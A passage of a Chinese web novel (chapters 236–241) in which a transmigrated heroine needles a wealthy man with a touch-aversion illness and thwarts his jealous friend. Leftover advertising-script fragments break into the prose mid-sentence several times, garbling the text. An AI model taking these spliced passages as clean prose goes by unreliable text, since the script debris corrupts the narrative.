她疑惑道:“你不是说没听到他们吵架?还是说韩东他老婆即使被打了,根本不敢反抗,只能忍气吞声。” 剧情中韩东很宠女主她妈的呀,而且女主的存在韩东又不是不知道。 再者,女主她妈也不是忍气吞声的性子。 月钧枫主动解惑道:“是韩东父母过来闹,混乱中,不小心打到的。” 白幺幺:……就这? 她总觉得应该要很精彩的。 看了某人一眼,白幺幺觉得自己完全体验不到八卦的乐趣,很大可能是她找错八卦对象了。 白幺幺回了个“哦”,决定终止这个话题。 她不八卦女主一家的事,开始关心起眼前人来。 白幺幺直接开门见山,不过说话时有稍稍压低声音。 “月同志,你是不是有病呀?” 听了她的问题,月钧枫瞳孔骤缩了下,周身的温度急速下降,平静的脸上也多了丝防备。 “你知道些什么?” 当然他更想问对方是谁派来的,故意接近他有何目的。 白幺幺哪里猜不出他在想什么,神色依旧轻松,还朝人笑了笑。 “月同志,你别紧张呀,我不是坏人,真的。” 月钧枫:他不是三岁小孩,就没坏人会承认自己是坏人的。 白幺幺又看出了他在想什么,无辜的眨了眨眼睛。 “说了你可能不信,我一直有个作家梦,也已经在脑中构思出故事的梗概了。” 月钧枫神色古怪,“你不是没读过书,大字不识一个吗?” 没想到会被揭老底的白幺幺同志:“……” 文盲的是原主,是原主。 除了爱吃,白幺幺第二爱的就是学习了。 白幺幺神色依旧自然,还抬手想要去拍某人的肩膀。 月钧枫躲开了,眼神凌厉,暗含警告。 白幺幺也不觉得尴尬,更没被对方神色变化影响。 “月同志呀,谁说文盲不能当作家,成为作家的关键是要认识字和会写字吗?” 月钧枫没有说话,不过就差在脸上写着“难道不是吗”几个字。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 白幺幺道:“当然不是,作家的关键是创作的内容。” “我不认识字,不会写字没关系,我只要会说话有脑子不就行了,把想好的故事讲出来,让会写字的人代笔写下来。” 月钧枫:感觉说的有点道理是啥鬼! 白幺幺自觉话题有点跑偏了,忙又绕回来。 “月同志,咱们现在先不讨论这个,咱们来说说我已经想好要写的那个故事。” 月钧枫没有说话,却给了白幺幺一个说说看的眼神。 不就是讲故事,白幺幺擅长。 她开始绘声绘色的讲起霸总与纯情小白花故事,很狗血的一个故事。 这个故事的关键是霸总得了种怪病,不能触碰女主以外的异性,否则就是呕吐不止。 只是个故 事梗概,不长的。 白幺幺讲完后,问道:“月同志,怎么样,我这个故事脑洞是不是特别大,写出来应该挺多人喜欢看的。” 月钧枫:“……” 他此刻内心很不平静。 从出生起就得了这样一种怪病,没人知道,他内心其实一直压抑着一股子戾气。 无关乎碰不碰女人这种事。 哪怕他没得这种怪病,对传宗接代的那档子事,他也不会热衷的。 从小到大,他真的很不喜欢那些知道内情的人,自以为隐藏很深的异样目光,以及对着他流露出诸如怜悯惋惜等等的神情。 天之骄子,含着金汤匙出生,又天资聪颖,俊逸非凡。 他怎么可能没有一股子傲气。 不就是女人,终身不碰又何妨,只是这前提必须是他主观意识的,而不是因为这病被动的。 每个人都存在多面性,对待不同的人展示出不同的一面。 每个人也都善于伪装,总是会将内心最阴暗暴戾的一面隐藏起来。 月钧枫当然不例外。 从车站回来,他内心不平静是一回事,更多的是即将喷薄而出的戾气。 不是针对任何人,如果硬要说出个针对对象,或许是命运,是老天爷,是天上的神佛。 对了哦,他娘自从生下他后,就开始虔诚吃斋念佛。 第236章 年代文里的童养媳(19) 普通人尚且都想掌握自己的命运,而他……就像被命运掐住了咽喉。 特别是在火车站时,白幺幺的出现。 相对于张良的惊喜,或许不只是张良,其他人知道有这么个例外存在,肯定也是惊喜的吧! 可是他这个当事人完全没有惊喜,有的只是觉得自己被愚弄了。 可笑,真是可笑。 这和强制安排他的人生有什么区别! 别人生来有无限种可能,而他…… 月钧枫摘下面具,勾唇冷笑,眼神阴鸷看向白幺幺。 都不用去书房,这会儿也不会有人过来打扰他们的。 知道他们的出发点都是为他好,可是,有谁问过他需要吗? “白小姐,所以你也想当故事的女主角。” 月钧枫说完,冷嗤一声,面上露出一抹嘲弄。 白幺幺:“……” 啪的一声,她眼疾手快在人后脑勺上招呼了一下。 “好好说话,还有当啥女主角,你在想屁吃了。” 被打懵了的月钧枫:“……” 白幺幺双臂抱胸,斜睨了男人一眼。 “我这辈子可是非好男人不嫁的,所以,月同志你别往自己脸上贴金了。” “你不是男主角,就算是,你……” 白幺幺挑剔的眼神将人从上到下扫了一遍,后面的话她就不说了,聪明人该懂的。 月钧枫回神了,打回去是不可能的,可是他很不爽。 “白小姐,你的胃口会不会大了点!” 他这样的都不算好男人,怎么样的才算。 月钧枫承认他幼稚了。 人本就是一种奇怪的生物,潜意识里容易产生一种心态。 那就是他可以看不上别人,但别人不许看不上他,他可以说自己不好,但别人不能说。 有的人这种心态比较浅,而有的人就到了偏执疯魔的地步。 白幺幺调侃道:“月同志,没想到你还挺自恋的呀!” 月钧枫神色蓦地一僵,很快就恢复正常。 “彼此彼此!” 白幺幺:“……” 友谊的小船说翻就翻。 不对,两人友谊都还没建立了。 白幺幺轻撩了下额前的秀发,“自恋也好,自信也罢,反正我就是非好男人不嫁,月同志你管得着吗?” 月钧枫:“……” 他咬了咬牙,似是较上劲了,还有些幼稚。 “我不是好男人?” 白幺幺反问,“你是?” 月钧枫沉默了,只是那眼神像是在说他怎么可能不是。 白幺幺摇了摇头,“不,你不是。” 月钧枫冷笑,“行,你说说看,我怎么就不是。” 不是他自恋,而是这点自信他还是有的。 多少世家名媛对他趋之若鹜,除了家世背景外,他本人的优秀也是占首要因素。 当然,好男人肯定不全看这些。 月钧枫对自己人品与担当有绝对的自信, 白幺幺说:“什么是好男人?那是有标准的,必须做到三从四德五不准。” 月钧枫挑了挑眉,“什么三从四德五不准?我从未听过。” 或者说他只听过旧社会,对女性道德和行为规范的三从四德。 月钧枫说完,以为会得到对方一个“你孤陋寡闻了”的眼神。 不过,很意外的没有。 白幺幺:“……” 不得不说,还挺了解她的。 白幺幺轻咳一声道:“你没听过很正常,因为这是我自己想出来的呀。” 月钧枫:“……” 他皮笑肉不笑的从齿缝中挤出三个字来,“说说看!” 白幺幺可乐意分享这未来人总结出来的精华,她清清嗓子。 “咳咳!” 她提醒道:“我要说了哦,月同志你可要记好了,好好努力,争取未来能成为一个好男人。” 月钧枫微敛了下眸子,在犹豫还是不要让对方说了。 突然的幼稚,理智回归的很快。 白幺幺可不知道他心境的变化,不然一定会吐槽一句,“呵,男人!” 白幺幺看着人开始说起来。 “所谓三从,就是媳妇出门要跟从,媳妇命令要服从,媳妇讲错要盲从。” 月钧枫:“……” 他皱眉。 白幺幺继续说她的。 “至于四德,就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是媳妇花钱要舍得,媳妇生气要忍得,媳妇……还有五不准,不准夜不归宿,不准吃喝嫖赌,不准……” 白幺幺说得太投入了,等说完,发现某人正以一种看……神经病的眼神看她?! 白幺幺:“……” 她不赞同的摇头,“月同志,你那是什么眼神,时代在进步,思想也在进步。” “还有现在听完了,你仍觉得自己是好男人吗?” 月钧枫:……能说这样的好男人他不想当吗? 也不知道是出于什么心思,亦或者是刚的幼稚劲还有残留。 月钧枫直接泼冷水道:“按照你这标准,那你可能要做一辈子的老姑娘了。” 白幺幺咧嘴笑了笑,“月同志,你这是在关心我吗?” 月钧枫:“……” 他不是,他没有,到底从哪里听出来的? 白幺幺朝人眨了下眼睛,给了对方一个安了的眼神。 “月同志,我这辈子的人生目标可不仅仅是找个好男人嫁了,还要生三个崽了。” 当老姑娘是不可能当老姑娘的! “所以呀,我早就想好了,找不到这样的男人,那就自己养一个,好好调教成好男人不就行了。” “真是的,树挪死,人挪活,活人还能被尿憋死。” 在月钧枫明显惊呆了目光下,那个“你孤陋寡闻”的眼神还是来了。 “月同志,童养夫,你没听过吗?” 月钧枫:“……” 已经惊呆得说不出话来了有木有。 这时有脚步声传来。 不管是月钧枫还是白幺幺,两人很有默契的秒变神色,正襟危坐。 哒哒哒的脚步声,听着很急的样子。 白幺幺同志用眼神询问,需要她回避吗? 月钧枫轻摇了下头,表示不用。 叶轩进门时,脸色肉眼可见的差。 在看到紧邻着坐一起的两人时,他眸底极快地闪过一道暗光。 “钧枫你家有客人啊,小枫……我们到书房谈?” “行。” 月钧枫说着起身,想到什么还是回头看向白幺幺。 “你先在这里坐着,等林伯下来,让他带你去四处转转。” 第237章 年代文里的童养媳(20) 白幺幺朝人摆手,“去吧,去吧,咱们谁跟谁啊!” “还有不用等林伯了,我现在就自己去四处逛逛,今儿开始就要住这里了,的确很有必要熟悉下环境。” 月钧枫:“……” 他们谁跟谁啊? 这女人还真是……什么都敢说。 白幺幺:为啥不敢说?再说了,又不是说给你听的。 原本白幺幺是对脚步匆匆进来的人不感兴趣的,又不是她的客人。 只是吧,看清来人的面容后,她不得不感概世界还真是小啊。 来人竟然是叶轩,男主他爸,原主所嫁之人。 哟呵!哟呵!! 白幺幺发现自己窥见了一个原剧情中没提到的大秘密。 这个叶轩不是有个求而不得的白月光吗? 那人不会就是月同志吧! 对哦,男主叫什么名字来着? 嗯,叫叶枫! 白幺幺觉得她真相了。 呵! 这般急匆匆赶过来,该不会是听说了月同志带着她这个女人回来的消息,坐不住了。 没见着一进来那脸色难看的哟,不知道的还以为是来捉奸的。 至于还没找到男主,担心男主才这般,白幺幺是不信的。 原剧情中有写到男主失踪大半个月,找回来时,男主他爸临时有事,都没亲自去接。 “随你。” 淡淡的语气中多了丝他自己都没察觉到的无奈,说完,月钧枫便招呼好友上楼。 白幺幺望着两人离开的背影,不免在心里啧啧两声。 可怜的月同志,不知道人家惦记你的屁股吗? 还跟着人上楼去书房,这门一关,可不就危险了。 也不知道房子隔音效果好不好,到时真叫天天不应,叫地地不灵,可咋办。 白幺幺就是瞎想乐呵下,只要那叶轩没被刺激得失去理智,月同志就很安全。 说了自己去四处逛逛,她起身开始四处溜达。 二楼书房里。 门一关,叶轩就按耐不住关心的问:“钧枫,刚刚楼下那位小姐是你新认识的朋友?” 月钧枫沉默了一瞬,简单回道:“嗯,算是吧。” 叶轩微皱眉接着问道:“那她在沪市没住处吗?刚刚我听那位小姐的意思是要在你这儿住下吗?” “嗯,她是外地的,在沪市的确没住处。” 月钧枫知道好友是关心他,只是他不太喜欢继续聊关于白幺幺的话题。 可惜,他的好友似乎没看出他的想法。 叶轩状似随意道:“怎么不让人去住宾馆,直接住你这会不会有点不妥,传出去对姑娘家的名声不好。” 月钧枫:“……” 名声? 感觉那女人不是很在乎的样子。 至于住宾馆,那女人要是乐意住,这会儿就不会出现在他这里了。 月钧枫真的不想继续和朋友谈论白幺幺,简单回道:“不会不妥的。” 而后他扯开话题,“叶轩,小枫还没找到吗?” 叶轩:“……” 差点忘了他是以儿子为借口,匆匆过来找人。 叶轩下意识紧锁起眉头来,摇头。 “前几天已经找到绑走小枫的那群人了,可是小枫没和那群人在一起。” 叶轩捏了捏拳头,眸光阴鸷。 “用了点手段,那群人始终没改口,坚称小枫比其他孩子机灵,自己寻到机会逃出去了。” 怎么说了,叶轩对自己这个儿子感情谈不上多深。 毕竟孩子妈又不是他喜欢的,制造出这个孩子来,不过是想全了老两口抱孙子的心。 当然,也是为了老两口不再一见到他,张口闭口就是让他赶紧结婚。 他心中已经有人的,根本不可能娶别人。 还有一个关键就是他根本不喜欢女人,他喜欢的是男人。 这一点,他青春期第一次梦遗时,就清楚知道了。 问他有没有想过掰正回来。 年轻时,没想过,瞎玩。 后来那人住进他心中后,他就更没想过了。 父母想要抱孙子,那就用特殊手段满足他们。 孩子么,这个如果真意外没了,花点钱就能再要一个的事。 叶轩现在其实更在意的是楼下那个不要脸的贱人,住进阿枫家里到底是打着什么主意? 没错,他心里住进去的那个就是阿枫。 想到他刚进来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时,看到两人坐得都快挨一起了。 他当时极力压制,才没上前去将那不要脸的贱人扯开。 他比阿枫大六岁,两人认识有十来年了。 从认识到现在,他还从未见阿枫和哪个异性如此亲密过。 他心中甚至抱着奢望,阿枫其实和他一样,只是阿枫自己还没发现而已。 事实上,阿枫可是比他还厌恶异性的靠近。 他都已经做好徐徐图之的准备了。 反正只要阿枫身边一直没女人,他就一直有机会。 至于阿枫如果发现和他是同道中人,那么两人在一起不就是水到渠成事儿。 毕竟, 他们两人无论家世样貌都是那样的绝配。 可是现在阿枫身边突然冒出个女人来,叶轩开始有了危机感。 月钧枫见好友低垂着头,虽看不清表情,但也能猜出神色不会太好。 他宽慰人道:“小枫那孩子很聪明的,都能自己从逃跑成功,在外面肯定也能照顾好自己的。” “相信很快派出去的人就能把孩子找回来,而且说不定,过几天小枫就自己想方设法找回来了。” “嗯。” 叶轩依旧低着头,声音闷闷的。 月钧枫也不知道要如何宽慰好友了,他能做的就是动用自己的力量帮忙去找孩子。 有一点他挺欣慰,经此事,好友终于发现儿子在自己心中的重要性了。 以往,他就发现了,好友似乎对儿子不怎么在乎的样子。 而他性子使然,也不想去掺和好友的家事。 “钧枫,肩膀能不能借我靠一下吗?” 叶轩抬头看向月钧枫,脸上的表情十分脆弱无助。 月钧枫:“……” 因着那个怪病,他无法与异性有亲密接触。 渐渐地,除了社交的握手,他变得不喜欢和任何人有肢体接触接触。 即使好友,也一样的。 叶轩当然知道,他曾试着以好友的身份,想要不经意的对阿枫做一些亲密的行为。 比如他曾经想哥俩好的去揽过阿枫的肩膀,只不过被躲开了。 再比如,他曾经取得某项成就高兴欢呼时,激动的想去抱阿枫,还是被躲开了。 第238章 年代文里的童养媳(21) 阿枫很坦然也很明确说了,他就是这毛病,不喜欢和人有肢体接触。 当朋友的,他又怎么可能不体谅呢。 肯定不能继续做些可能会引起阿枫不适与反感的行为。 只要阿枫不是单独针对他,而是平等的对待每一个人就行。 可是今儿,楼下那女人的出现,让叶轩心慌慌的。 他总觉得要做点什么,一定要做点什么。 就在刚刚的某一瞬间,他甚至很庆幸儿子丢了还没找回来。 一个儿子正下落不明,生死未卜的可怜颓丧父亲。 他这时候提出这样一个小小的请求,应该很容易让人理解的吧,应该也很难被拒绝的吧! 如叶轩所想的,月钧枫犹豫了,毕竟好友遇到这样的事。 就在月钧枫准备点头,叶轩即将得偿所愿时,书房的门被推开了。 一个脑袋探了进来,笑嘻嘻的问:“没打扰你们吧!” 脑袋的主人还能是谁,白幺幺同志呗。 真不怪她。 她这不是四处逛逛,就逛到二楼来了。 听到说话声,还在心里吐槽房子隔音效果差。 然后双脚不受控制的走近,才发现不是隔音效果差,而是门没关严实。 这不,就让她听到啥了?! 叶轩这个逼崽子竟然想对月同志动手动脚的。 她好歹要在人家这里白吃白住好长一段时间,哪里能眼睁睁的看着月同志被占便宜。 再说了,她对叶轩这逼崽子可没啥好感。 叶轩:“……” 他面容有那么一瞬间的狰狞扭曲。 也幸好他是背对着门的,白幺幺看不到。 而月钧枫视线全落在门口,也没注意到。 月钧枫:“……” 他暗暗松了口气。 叶轩调整好表情,转身看向白幺幺,眸光里全是谴责。 “这位小姐,你刚刚在门外做什么?” “你是钧枫的客人,我不好多说什么,但敲门是最基本的礼貌,请这位小姐以后不要……” “等等哈!这位老哥,你在说啥,俺听不懂。” 白幺幺打断叶枫的话,眼神那叫一个无辜。 而后她倒打一耙道:“俺就是好心路过,看你们门没关好,好心推开门想提醒下你们的。” “你这人怎么这样子,没了解事情来龙去脉就开始嘴上乱喷粪!” “哼,你这要是放俺老家,这样对别人,很可能会被撕烂了嘴的。” 叶轩:“……” 张口闭口俺俺俺的,没想到就是个乡下村妇。 没想到他有一天会被个低贱粗俗的乡下女人气到一时说不出话来。 在他心中憋着一股火待发泄时,令他目眦欲裂的一幕发生了。 那……那贱女人怎么……怎么敢的…… 白幺幺同志很受伤,她难过的抽噎,朝月同志扑去。 “月同志,你朋友太过分了,我现在很伤心,很难过来,需要你的抱抱来抚慰我受伤的心灵。” 月钧枫:“……” 他原本在……看戏! 只是没想到会被拉着入局。 白幺幺的动作太快,根本没给他反应的时间。 被扑了个满怀时,他全身僵住,脑子瞬间一片空白。 小鸟依人的躲在月同志怀里,白幺幺不忘回头挑衅的瞪了某人一眼。 这一眼气得叶轩差点当场跳脚,在心里连续骂着贱人贱人。 他现在算是看出来,这贱人绝对是打着勾引阿枫的心思的。 还有绝对是故意的,对着他还俺俺俺的,对着阿枫就懂得用我了。 冷静,他必须冷静。 就这种乡下来的粗鄙贱人,阿枫怎么可能瞧得上。 叶轩忍着心中想要撕了人的冲动,急急解释道:“钧枫,你知道我的,这位小姐误会我的意思了。” 他发现阿枫应该是被那贱人突然的动作整懵了,他想把人喊回神,让人赶紧将那贱人推开,推远些。 而他的目的也的确达成了。 他才刚说完,月钧枫和白幺幺两人就分开了。 白幺幺:推开是不可能被推开的。 白幺幺同志就是想刺激下某人,抱一下下就够了。 月钧枫:“……” 他刚刚是在贪恋那温暖的拥抱吗? 原来,被人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拥抱是这样的感觉? 暖暖的,软软的,不排斥,甚至还想,还想抬起自己的双手…… 见那贱女人终于从阿枫身上离开后,叶轩脸色才稍稍好看些。 “钧枫,你还好吗?要不要先去洗个澡换身衣服,小枫的事,我们等下再聊。” 叶轩善解人意道,说完目光还从白幺幺身上扫过。 像这种女人他见多了,真真是搞笑至极,以为搞点小手段就能拿下男人。 想飞上枝头变凤凰,还是做梦比较快。 哼,连阿枫排斥与人有肢体接触都不知道,就敢冒然耍小聪明,搞这种小动作。 也不知道是谁给的勇气,果然乡下人就是没脑子。 叶轩脑子里在想什么,白幺幺 无从得知。 不过他说的话让白幺幺同志很不爽,真的很不爽。 她一把挽住旁边人的胳膊,嗲声嗲气道:“月同志,你要去洗澡吗?用不用我去给你放下洗澡水?” “对了,你的贴身衣物放哪,我也顺道给你拿了。” 月钧枫:“……” 要怎么形容他现在的状态呢? 身体僵硬,头皮发麻。 喉咙像是堵着一团棉花,发不出声音来。 他清楚的知道自己该抽回胳膊的,他还该轻斥对方不要乱说话,要谨言慎行的。 可是他身体依旧僵硬得跟木头人似的,甚至身体隐隐有发烫的趋势。 他知道,这种发烫不是生病导致的。 如果说前面的叶轩还能忍,嗯,前面的也根本忍不了,只是不得不忍。 可是现在,他真的忍不了了。 不过他还算冷静的在脑中思考了下,才上前动手想扯开白幺幺的。 帮好友扯开黏在身上的烦人苍蝇,这行为有啥错。 眼见着叶轩那逼崽子要对她动手,白幺幺忙松开月同志的胳膊,躲到人身后去。 “月同志,你朋友好可怕,他是不是要打我?” “呜呜,我真的好怕怕!” “这位小姐,我没有,还有你快放开钧枫。” 如果目光能烧人,叶轩此时真想将那双扶在阿枫侧腰的爪子灼烧成灰烬。 第239章 年代文里的童养媳(22) “呜呜,你说没有就没有,俺又不是没眼睛看。” 白幺幺探出脑袋说完,立马又缩回去,嘤嘤哭诉起来。 “月同志,我好怕怕。” “真的,我看人很准的,你这个朋友以后结婚一定是个家暴男!” “珍爱生命,远离家暴男!” 白幺幺同志把口号喊起来。 月钧枫:“……” 扶在他腰间的手并不是很安分,令他肌肉都绷紧了。 看着已经在爆发边缘的好友,月钧枫是找回声音了,可一时真不知道要说什么。 短暂的消停后,白幺幺同志又从月同志身后探出脑袋,一副她很怕怕的模样。 “你……你捏着拳头要干嘛?是不是想动手打俺?” “呜呜,月同志,你看他,真的好可怕,你一定要保护好我。” 叶轩:“……” 妈的,他真的手痒想扇人了。 月钧枫:“……” 害怕被揍,就不能消停点! 月钧枫想伸手按按太阳穴,真不知道事态怎么就发展成这样了。 还有,两人之前认识吗?好友到底怎么把人得罪了? 月钧枫知道他该说话了,不然等下还真有可能直接在他书房里打起来。 月钧枫先转头看向白幺幺,见人张嘴又准备说什么,他差点就要伸手去捂人的嘴了。 月钧枫压低声音道: “白幺幺,你现在开始一句话都不许说。” 白幺幺眨巴眨巴着大眼睛,眼里写着“我凭什么听你的”。 “五百。” 月钧枫很自觉的报出一个数来。 白幺幺:“……” 不是,当她是什么? 拿钱来打发她,简直是……五百哪里够! 白幺幺同样压低声音说:“一千。” 这个年代收买打发人可真便宜,哪像未来小说里写的,动不动就是甩出一张几百上千万的支票。 月钧枫唇角狠狠抽动了下。 他刚刚就是抱着试试的心态,没成想还真行得通。 “行。” 两人的交易就这么达成了。 月钧枫才转头看向好友,刚好撞见对方来还不及收敛的神情。 叶轩他…… 月钧枫皱眉,只是发生了点口角,应该不至于结下什么深仇大怨。 看到阿枫先转头去看那乡下女人,叶轩以为阿枫是要冲人冷脸发脾气的,心里涌起一丝畅快。 可事实和他以为的完全不一样。 两人直接旁若无人的说起悄悄话来。 那么小声,他听不清,可不就是防着他在说悄悄话。 叶轩真的很难控制自己的脸部表情不扭曲狰狞,看向白幺幺的眼神更是染上的阴毒之色。 只是他没想到阿枫会突然回头,让他来不及收拾自己外露的情绪。 “叶轩你……先回去休息吧,这段时间为了小枫的事,你肯定没休息好,脸色瞧着有点差。” 月钧枫关心了下人后,才开始当这个和事佬。 “还有,我这朋友比较心直口快,也比较较真,刚刚的情况双方都存在误会,我看今儿的事就到此为止。” 和稀泥都没这么和的! 白幺幺:……她较个啥真,误个啥会,完全不存在的。 叶轩:……不是,阿枫句句都是在为那个乡下女人开脱,不就是个乡下女人,难道在阿枫心中已经那么重要了。 月钧枫可不知道两个当事人心中想法,他觉得自己处理的很好。 免去两人互相道歉的环节,才是真正的皆大欢喜。 不难想象,他若是提出让两人互相道个歉,这事准又没完没了。 叶轩做了个深呼吸,平复下心情。 这会有点后知后觉,自己冲动了。 大家族出身,又不是没见识过女人争宠的招数。 他刚刚真没必要和人那般争论,掉价的很。 而且,有时候这种口角之争,争赢的人未必就是真的赢了,争输了的人也未必真的输了。 “钧枫,抱歉,这段时间因为小枫的事,我的精神状态的确有点不好。” 叶轩说着,还拿手去捏了捏眉心。 “我先回去休息个把小时”,说完,他嘴角勾起一抹苦笑,“总不能小枫还没找回来,我就先倒下了。” 月钧枫赞同的点头,“你是该好好休息下,小枫那,已经派人出去找了,我们除了等结 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果,也做不了其他的。” 其实,还是有其他的能做的。 换成他的孩子丢了,他会亲自去找的。 不过这话月钧枫没说,好友不怎么在意自己的这个儿子,不然早就四处奔波找儿子去了。 亲自送人下楼,看着人上车离开,月钧枫这才抬手捏了捏眉心。 在门口驻足几秒,他才折返回书房。 推开门,看到刚刚还一副不把好友气死不罢休的人,此时站在窗边,正抱着一本书在翻阅。 不得不说,前后简直判若两人。 月钧枫不自觉的放轻脚步,走到人身侧时,他还是忍不住来了句,“看得懂吗?” 白幺幺抬 头赏了对方一个自行领会的眼神。 算了,不纠结这个问题。 他一直都懂得一个道理,那就是资料终究只是资料,仅做参考而已。 他又问“你认识叶轩?” 白幺幺这回连个眼神都没给,不过还是回了三个字。 “不认识。” 她说的可是真话,没说谎。 月钧枫不是很相信,持怀疑态度。 “那你为什么……” 白幺幺一把合上书,然后伸出手,掌心朝上。 “月同志,快给钱,别想着赖账。” 月钧枫:“……” 他没好气的说道:“马上拿给你,还有就这点小钱,我不会赖账的。” “就这点小钱?” 白幺幺啧啧两声,“月同志,不错,很有土豪范。” 月钧枫想回点什么,只是想到几分钟前在这书房里差点被气炸了的好友。 他理智的选择沉默,转身拿钱去。 拿到钱,白幺幺来来回回的数了三遍。 当看到白幺幺已经数了三遍,还准备再数时,月钧枫忍不住磨牙。 “别数了,一千,不会少给你的。” 白幺幺停下数钱的动作,抬头给了人一个“你懂啥”的眼神。 她是怕数额不对吗? 不,她是在体验数钱的快乐! “月同志,你这种有钱人是不懂的,数钱真的能带来快乐。” 月钧枫:“……” 第240章 年代文里的童养媳(23) 叶轩回去后,哪里真可能休息。 他第一时间让人去查那乡下女人的资料。 知己知彼,百战不殆。 当然,就那乡下女人,哪里配做他的对手。 他更关心的是阿枫身边怎么突然冒出这么个女人来,对方是不是抱着某种目的故意接近阿枫的。 而且,女人就是祸水,就是毒药。 以前的阿枫是如此洁身自好,让那些个不要脸的女人就算想勾引人,也钻不到缝子。 可是,一旦让那乡下女人得逞,阿枫……尝到女人的味儿…… 一阵霹雳啪啦东西落地声音响起。 叶轩像头发怒的公牛,大手一挥,将书桌上的东西通通扫落地上。 他最害怕,最担心的事难道就要发生了吗? 晚上,叶轩根本睡不着,还做了个噩梦。 而罪魁祸首白幺幺,她就睡得那叫一个香了。 住在月同志这里,其舒适度哪里是宾馆能比的。 翌日。 白幺幺神清气爽,精神抖擞的下楼。 刚好在楼梯口遇到了正要下楼的月钧枫,她立马展颜一笑。 “月同志,早呀,还有好巧,一起。” 月钧枫只是点了下头,算是打招呼。 其实,根本不巧的。 他是听到脚步声了,故意站这里等人的。 就是做为主人家,想关心客人昨晚换了环境,有没有休息好。 只是,见到人后,答案显而易见,根本不需要问了。 用早餐的时候,白幺幺很专心。 吃完后,她擦了擦嘴,看向对面坐着的人。 “月同志,帮个小忙呗!” 月钧枫这时也吃完了,放下筷子。 他没有直接应允,“说说看。” 白幺幺说:“我想去读书。” 月钧枫微微诧异了下,没想到会是这样一个忙。 读书是好事,他点了点头。 “可以。” 白幺幺朝人露出甜甜一笑,“谢谢月同志了,不过什么时候可以开始去学校读书?” “还有,我是不是要从小学开始读?那我要直接读五年级。” 她主动解释道:“月同志,你别担心我跟不上学习进度,其实吧,我虽然没上过学,但小时候,我家后山住了个很厉害的老爷爷,他教我读书写字……” 论编故事的能力,白幺幺同志说她第二,就没人敢说第一。 她讲完后,皱了皱眉,小声嘀咕了句,“五年级会不会太小了,要不直接读初中算了。” 月钧枫耳力极好,听清楚了。 以为白幺幺是在担心她这个年纪了去读五年级,和一群孩子一起上课,双方之间年龄差的确有些大。 想象一下那个画面,他不禁失笑调侃起人来。 “的确是很小,你这么大的人混在一群孩子中间,想当孩子王吗?也不怕让人看笑话。” 白幺幺:“……” 当啥孩子王,她是要去找童养夫的。 白幺幺朝人翻了个白眼,“月同志,咱们格局和眼界要放开点,当孩子王有啥厉害的,我是要去找童养夫的。” 月钧枫:“……” 他的神色上一秒还是春天,下一秒直接进入了冬天。 而他这一冷下脸来,也将昨晚没怎么休息好的疲态展露出来。 可以说昨晚不仅叶轩一人没休息好,月钧枫同样也没休息好。 他被一个梦困扰了一夜。 女人在他怀里不安分的动来动去,小手还一点不矜持的在他腰上又摸又捏的,最关键的是说出来的话嗲里嗲气的。 …… 白幺幺同志下意识的缩了缩脖子,不免自我反省起来。 “嗯,五年级的确太小了,年龄相差太大,可能会有很严重的代沟。” “月同志,那你直接给我安排读初中吧!” 月钧枫:“……” 他深呼了口气,语气不善。 “如果你去学校读书是为了……这档子事,那你找别人,我是不可能帮你的。” 没想到对方会拒绝, 白幺幺疑惑出声,“为什么呀?” 他们不是聊开了吗? 就那扯淡的“你只能碰我,我是你的唯一特例”的缘分,月同志说了不想当男主的。 而她,嗯,女不女主的不重要,找好男人才是关键。 月钧枫笑了,被气笑的。 为什么? 他上哪知道为什么! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就是胸口涌起一股无名的火,大脑这时还来添乱。 一道道画面不经他同意,在脑中闪过,有昨晚梦中的场景,还有书房里的。 初见时,女人那双灵动晶亮的眼睛就在他脑中留下深刻烙印。 此刻,这双眼睛正一眨不眨的看着他,眼里除了无辜就是疑惑。 月钧枫胸腔中除了无名火,又多了一股子郁气。 他直接反问,“你说呢?” 白幺幺:……这皮球踢的,一点技术含量都没有。 “我不知道呀,不然还问你干嘛?” 白幺幺撇了撇嘴,眼眸忽的一亮。 “月同志,你不会又想当男主角了吧!” 月钧枫:“……” 他不是,他……没有! 白幺幺单手托腮打量着人道:“你是很不错啦,可惜距离我要找的好男人还是有很……那么一丢丢差距的……” “我不是,我没有,你少自恋了。” 月钧枫像是被踩了尾巴猫,腾地从椅子上站起来。 “白小姐,如果你去读书是为了那种荒唐事,我是不可能助纣为虐的。” 白幺幺:“???” 不是。 她就是去找个童养夫,又不是去强抢民男,怎么就成助纣为虐了?! 月钧枫说完就冷着张脸甩袖离开了,出了餐厅刚好与路过的林伯撞上。 他只是点了点头,就要错身离开。 想到什么,他又驻足看向林伯。 “对了,林伯,你那侄孙是几岁来着?” 不明所以的林伯:“……” “五岁来着,好像是。” “好,我知道了。” 望着小少爷离开的背影,林伯一脸的疑惑。 小少爷这是怎么了? 和白小姐吵架了? 刚刚他好像听到什么荒唐事,还有什么助纣为虐的? 白幺幺出来,看到林伯,笑着打了声招呼。 而后,她好奇问,“林伯,月同志突然关心起你侄孙子干嘛?” 还生着气了,怎么可能无的放矢。 哼,不会是她想的那样吧! “我侄孙子过两天要来沪市玩,小少爷让人直接到家里住下。” 第241章 年代文里的童养媳(24) 白幺幺:“……” 聪明如她,还能猜不出月同志那点……小人之心。 呵,男人! 她很挑的好不,还没到饥不择食的地步。 解释是不可能解释的。 哄人那是更不可能哄人的。 白幺幺决定出去溜达溜达。 又与林伯聊了几句,她才哼着小曲往外走去。 撒下一颗种子,是时候收获果实了。 而她这副欢快的模样,完完全全落入楼上某扇玻璃窗后的人眼中。 月钧枫皱眉。 这是要去哪里? 他走到办公桌前,目光扫过见底的水杯。 只是迟疑了一瞬,便拿着水杯出门了。 下到一楼时,遇到了正要上楼的林伯。 林伯第一时间发现他手上拿着的空杯子,伸手就要去接,“小少爷,我来。” 月钧枫避开了他的动作,“不用了,林伯,我自己来。” “对了,林伯,她出去呢?有说去哪吗?” 